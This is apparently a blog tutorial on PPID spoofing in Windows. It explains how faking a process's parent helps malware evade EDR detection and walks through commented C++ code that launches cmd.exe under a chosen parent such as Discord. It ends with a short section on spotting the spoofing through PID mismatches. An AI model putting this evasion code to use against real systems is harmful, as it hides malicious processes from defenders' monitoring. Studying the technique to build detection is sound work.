PID spoofing is a technique where an attacker manipulates or fakes a process ID (PID) to hiding malicious activity on a system.
EDR (Endpoint Detection and Response) systems often track parent-child relationships between processes on Windows. For example, If Microsoft Word (winword.exe) spawns rundll32.exe, the EDR may flag this as suspicious because Word normally doesn’t create that child process. Attackers can try to hide malicious activity by faking or spoofing the parent process of their malicious process.
The main goal of an attacker performing PPID spoofing is to evade detection by security tools. By masking the true parent process, the malicious process blends in with legitimate activity, avoids alerts from EDR systems, and can execute payloads stealthily without raising suspicion.
The primary technique involves manipulating the child process’s attributes during creation, specifically using the CreateProcess
API in Windows.This API allows specifying a parent process ID (PPID) through the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
attribute.By setting this attribute, an attacker can assign a malicious process to appear as a child of a trusted parent process, such as explorer.exe
.This manipulation enables the malicious process to inherit attributes like the current working directory and environment variables from the spoofed parent, potentially evading detection mechanisms that monitor parent-child process relationships.This technique was popularized by Didier Stevens in 2009, who demonstrated its effectiveness in bypassing security tools that rely on process lineage for detection.
you can get the code here.We start by opening the target process that we want to be the parent of our process.
PROCESS_CREATE_PROCESS
→ needed to use hParent
as the parent in UpdateProcThreadAttribute
.PROCESS_QUERY_INFORMATION
→ allows querying properties of the target process, useful for validation. this is optional.
1HANDLE hParent = OpenProcess(
2 // We request specific permissions (access rights).
3 PROCESS_CREATE_PROCESS | PROCESS_QUERY_INFORMATION, // PROCESS_CREATE_PROCESS is required to use this handle as a parent.
4 FALSE, // bInheritHandle: FALSE means this handle won't be inherited by child processes.
5 targetPID // The PID of the process we want to open.
6 );
7 // If OpenProcess fails, it returns NULL. We must check for this.
8 if (hParent == NULL)
9 {
10 // GetLastError() provides the specific error code for why the function failed.
11 wcout << L"[-] Failed to open target parent process. Error: " << GetLastError() << endl;
12 return 1; // Exit with an error code.
13 }
second step,prepares to create a new process while spoofing its parent process. It defines STARTUPINFOEXW siex
to hold extended startup info and PROCESS_INFORMATION pi
to receive the new process’s details like PID and handles.
It then queries Windows for the size needed to store one attribute (the parent process) using InitializeProcThreadAttributeList(NULL, 1, 0, &attrListSize)
, and allocates memory with HeapAlloc
.
Finally, the attribute list is initialized with InitializeProcThreadAttributeList
, making it ready to hold the parent process attribute. This allows the new process to appear as a child of a legitimate process, which is the core of PPID spoofing.
1 STARTUPINFOEXW siex = {sizeof(STARTUPINFOEXW)};
2 // PROCESS_INFORMATION will be filled by CreateProcessW with info about the new process (like its PID and handles).
3 PROCESS_INFORMATION pi = {0};
4
5 // --- Step 3: Initialize the process attribute list ---
6 // This is the core of the technique. We need to create a list of special attributes to pass to the new process.
7 // The only attribute we will use is the one that specifies a parent process.
8
9 // First, we must query the system for the size needed to hold our attribute list.
10 SIZE_T attrListSize = 0;
11 InitializeProcThreadAttributeList(
12 NULL, // Pass NULL to query for the required size.
13 1, // We plan to store exactly one attribute (the parent process).
14 0, // Reserved, must be 0.
15 &attrListSize // The function will write the required buffer size here.
16 );
17
18 // Now, allocate memory of that size from the heap.
19 siex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
20 GetProcessHeap(), // Use the default heap for this process.
21 HEAP_ZERO_MEMORY, // A flag that initializes the allocated memory to all zeros.
22 attrListSize // The size we determined in the previous step.
23 );
24 // Check if the memory allocation was successful.
25 if (siex.lpAttributeList == NULL)
26 {
27 wcout << L"[-] Failed to allocate memory for attribute list. Error: " << GetLastError() << endl;
28 CloseHandle(hParent); // Clean up the handle we opened earlier.
29 return 1;
30 }
31
32 // With the memory allocated, we can now properly initialize it as an attribute list.
33 if (!InitializeProcThreadAttributeList(
34 siex.lpAttributeList, // Pointer to the allocated memory block.
35 1, // The number of attributes we will store.
36 0, // Reserved, must be 0.
37 &attrListSize // The size of the allocated block.
38 ))
39 {
40 wcout << L"[-] Failed to initialize attribute list. Error: " << GetLastError() << endl;
41 HeapFree(GetProcessHeap(), 0, siex.lpAttributeList); // Free the allocated memory.
42 CloseHandle(hParent); // Clean up.
43 return 1;
44 }
sets the parent process attribute for the new process. UpdateProcThreadAttribute
takes the initialized attribute list and assigns hParent
as the parent process using PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
. If this fails, it cleans up the attribute list, frees the allocated memory, closes the parent handle, and exits. On success, it confirms that the parent process attribute is set.
Next, the code creates the child process (cmd.exe
) using CreateProcessW
with the EXTENDED_STARTUPINFO_PRESENT
flag to apply the attribute list. CREATE_NEW_CONSOLE
gives it a separate console. All standard options like security attributes, environment, and current directory are left default or inherited. If creation fails, the code performs full cleanup of handles and memory.
1 if (!UpdateProcThreadAttribute(
2 siex.lpAttributeList, // The initialized attribute list.
3 0, // Flags, must be 0.
4 PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, // The key for the attribute we want to set. This tells Windows we are specifying a parent.
5 &hParent, // A pointer to the value of the attribute. In this case, a pointer to the handle.
6 sizeof(HANDLE), // The size of the value being passed.
7 NULL, NULL)) // Reserved for previous value, not needed here.
8 {
9 wcout << L"[-] Failed to update attribute list with parent process. Error: " << GetLastError() << endl;
10 DeleteProcThreadAttributeList(siex.lpAttributeList); // This function cleans up the attribute list's internal data.
11 HeapFree(GetProcessHeap(), 0, siex.lpAttributeList); // Free the memory block itself.
12 CloseHandle(hParent); // Clean up.
13 return 1;
14 }
15 wcout << L"[+] Successfully set the parent process attribute." << endl;
16
17 // --- Step 5: Create the child process with the spoofed parent ---
18 // Now we call CreateProcessW, but with special flags to use our attribute list.
19 if (
20 !CreateProcessW(
21 L"C:\\Windows\\System32\\cmd.exe", // Path to the executable to launch. Must be a wide-character string.
22 NULL, // Command line arguments for the new process (none in this case).
23 NULL, // Process security attributes (default).
24 NULL, // Thread security attributes (default).
25 FALSE, // bInheritHandles: If TRUE, the new process would inherit handles from this one. We set to FALSE.
26 EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, // CRITICAL FLAGS:
27 // EXTENDED_STARTUPINFO_PRESENT tells CreateProcess to use the `siex` structure instead of a simple STARTUPINFO.
28 // CREATE_NEW_CONSOLE gives the new process its own console window.
29 NULL, // Environment block (NULL means inherit from this process).
30 NULL, // Current directory (NULL means inherit).
31 &siex.StartupInfo, // A pointer to our STARTUPINFOEX structure. This is how the attribute list is passed.
32 &pi // A pointer to a PROCESS_INFORMATION structure that will receive the new process's info.
33 ))
34 {
35 wcout << L"[-] Failed to create process. Error: " << GetLastError() << endl;
36 // Perform full cleanup on failure.
37 DeleteProcThreadAttributeList(siex.lpAttributeList);
38 HeapFree(GetProcessHeap(), 0, siex.lpAttributeList);
39 CloseHandle(hParent);
40 return 1;
41 }
In this test, we are creating a cmd.exe
process and spoofing its parent to be an unusual process, like Discord. Normally, Discord would never launch cmd.exe
, so this is only for demonstration purposes.
After running the code, you can observe that cmd.exe
now appears as a child of Discord in Task Manager or other process viewers. While the parent looks legitimate, the actual creator is the malware process (or test program) that executed the CreateProcess
call.
let's say the Malware process PID is 3000, and our malware called CreateProcess
API to launch calc.exe
.Malware uses PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
to make calc.exe’s parent PID look like it came from Explorer and let's say the PID for Explorer is 1500.
By comparing the execution PID with the parent PID, security tools can detect inconsistencies: the process claiming to be the parent (Explorer, 1500) did not actually launch the child; instead, the malware process (3000) did.
This mismatch is a strong indicator of PPID spoofing and can trigger alerts in EDR or custom monitoring solutions.
Published Aug 22, 2025